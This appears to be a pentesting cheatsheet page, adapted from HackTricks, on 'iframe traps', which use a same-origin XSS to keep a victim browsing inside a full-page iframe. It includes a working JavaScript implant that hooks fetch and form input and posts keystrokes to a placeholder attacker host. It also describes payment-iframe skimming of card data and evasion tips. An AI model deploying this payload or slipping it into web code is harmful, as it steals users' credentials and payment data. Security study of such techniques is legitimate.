daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

iframe-traps.md (7872B)


      1 ---
      2 title: "Iframe Traps"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/iframe-traps.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/iframe-traps.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Iframe Traps
     14 
     15 ## Basic Information
     16 
     17 This technique abuses **same-origin XSS** to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec [here](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) and [here](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).<sup>[[1]](#references)[[2]](#references)</sup>
     18 
     19 The idea is to land the victim on a page vulnerable to XSS and then **trap the rest of their navigation inside a full-page iframe**. If the victim keeps clicking links, submitting forms, and moving through the application **inside the frame**, the original attacker-controlled page stays alive in the top window and can keep collecting data.
     20 
     21 To make the illusion more realistic, the top page can **mirror the iframe path into the browser address bar** with `history.replaceState()` and update the visible UI so the victim believes they are just moving normally across the app.
     22 
     23 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281248%29.png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
     24 
     25 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281249%29.png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
     26 
     27 Once the user is trapped, the payload can observe **navigation**, **form submissions**, **typed credentials**, **XHR/fetch traffic**, and any **same-origin storage** available to the framed routes.
     28 
     29 The main limitation is still escape: if the victim **closes the tab**, **switches to another URL**, or reaches browser chrome actions that the page cannot suppress, the trap is over.
     30 
     31 ## Practical requirements & limitations
     32 
     33 - The technique is strongest when the victim keeps browsing **same-origin** pages after the initial XSS. If the iframe navigates cross-origin, SOP kills direct DOM access.
     34 - `X-Frame-Options: SAMEORIGIN` and `Content-Security-Policy: frame-ancestors 'self'` do **not** stop a same-origin XSS from framing the application itself. `DENY` or `frame-ancestors 'none'` on sensitive routes does.
     35 - Modern SPAs often do not perform full page loads. If you only hook `load` and `click`, you will miss most interesting state changes.
     36 - Fullscreen is helpful for hiding browser chrome, but it still needs **user activation** and users can usually escape with browser/OS-controlled shortcuts.
     37 
     38 ## Modernised trap (2024+)
     39 
     40 - Use a **full-viewport iframe** and keep the outer URL synchronized with `history.replaceState()`.
     41 - For SPA targets, hook **`fetch`**, **`XMLHttpRequest`**, **`pushState`/`replaceState`**, and **form events** inside the framed app.
     42 - Prefer a **top-level guard** so the payload does not recursively create new iframes every time the trapped application loads a route that also contains the implant.
     43 
     44 <details>
     45 <summary>Full-viewport iframe trap with SPA hooks</summary>
     46 
     47 ```html
     48 <script>
     49 if (window.top === window.self) {
     50   const trap = document.createElement('iframe');
     51   trap.src = '/'; // or another same-origin route inside the application
     52   trap.style = 'position:fixed;inset:0;border:0;width:100vw;height:100vh;z-index:2147483647;background:#fff';
     53   document.body.appendChild(trap);
     54 
     55   const sync = u => {
     56     const x = new URL(u, location.origin);
     57     history.replaceState({}, '', x.pathname + x.search + x.hash);
     58   };
     59 
     60   trap.addEventListener('load', () => {
     61     const w = trap.contentWindow;
     62     const d = w.document;
     63 
     64     ['click', 'submit', 'popstate', 'hashchange'].forEach(ev =>
     65       w.addEventListener(ev, () => sync(w.location.href), true)
     66     );
     67 
     68     const oldFetch = w.fetch;
     69     w.fetch = (...args) => {
     70       fetch('//attacker/log', {method:'POST', body:'fetch=' + encodeURIComponent(args[0])});
     71       return oldFetch.apply(w, args);
     72     };
     73 
     74     d.addEventListener('input', ev => {
     75       if (!ev.target.name) return;
     76       fetch('//attacker/keys', {
     77         method: 'POST',
     78         body: new URLSearchParams({
     79           page: w.location.href,
     80           name: ev.target.name,
     81           value: ev.target.value
     82         })
     83       });
     84     }, true);
     85   });
     86 }
     87 </script>
     88 ```
     89 </details>
     90 
     91 - `requestFullscreen({ navigationUI: 'hide' })` can make the fake chrome more convincing, but it only works after a user gesture and should be treated as a short-lived concealment aid, not as a reliable containment boundary.
     92 
     93 ## Overlay & skimmer usage
     94 
     95 - Compromised checkout pages can **hide a legitimate hosted payment iframe and overlay it with a pixel-perfect fake collector** that forwards or replays data while the real payment flow still succeeds.<sup>[[4]](#references)</sup>
     96 - A more aggressive variant is to **rewrite the URL of the hosted-field iframe itself** so the browser loads an attacker-controlled frame that proxies the PSP flow and skims PAN/CVV inside the iframe context.<sup>[[4]](#references)</sup>
     97 - Trapping users in the top frame is also useful for collecting **autofill/password-manager** data before they notice the real browser URL never changed.
     98 
     99 ## Recent chaining ideas
    100 
    101 - **POST-only reflected XSS** can be upgraded into a usable trap by landing the victim on the poisoned response with CSRF or an auto-submitting form, and then immediately switching into iframe-trap mode so the payload survives after the first POST response.<sup>[[3]](#references)</sup>
    102 - **`credentialless` iframe chains** can turn some self-XSS/login-CSRF scenarios into practical account-takeover paths without destroying the victim's live session.<sup>[[3]](#references)</sup> The full details are better covered in [Iframes in XSS, CSP and SOP](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp).
    103 
    104 ## Quick OPSEC tips
    105 
    106 - Re-focusing the iframe when the mouse leaves, disabling the context menu, and re-synchronizing the URL after each route change can slow down casual escape attempts.
    107 - Do **not** rely on blocking `Esc`, `F11`, `Ctrl+L`, tab switching, or other browser-owned shortcuts. Some keys may be interceptable in fullscreen/keyboard-lock flows, but browser escape paths generally still win.
    108 - If inline JavaScript is blocked by CSP, move the implant into a **same-origin external script**, another **same-origin child route**, or another **same-origin HTML gadget** you can frame. For more iframe/CSP-specific tricks, check [this page](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp).
    109 
    110 ## Related
    111 
    112 [Clickjacking](/hacktricks/pentesting-web/clickjacking)
    113 
    114 [Iframes In Xss And Csp](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp)
    115 
    116 ## References
    117 
    118 - [1] [Persisting XSS with iframe traps](https://trustedsec.com/blog/persisting-xss-with-iframe-traps)
    119 - [2] [JS-Tap: Weaponizing JavaScript for Red Teams](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)
    120 - [3] [Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/)
    121 - [4] [New Stealth Magecart Attack Bypasses Payment Services Using Iframes](https://www.humansecurity.com/learn/blog/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/)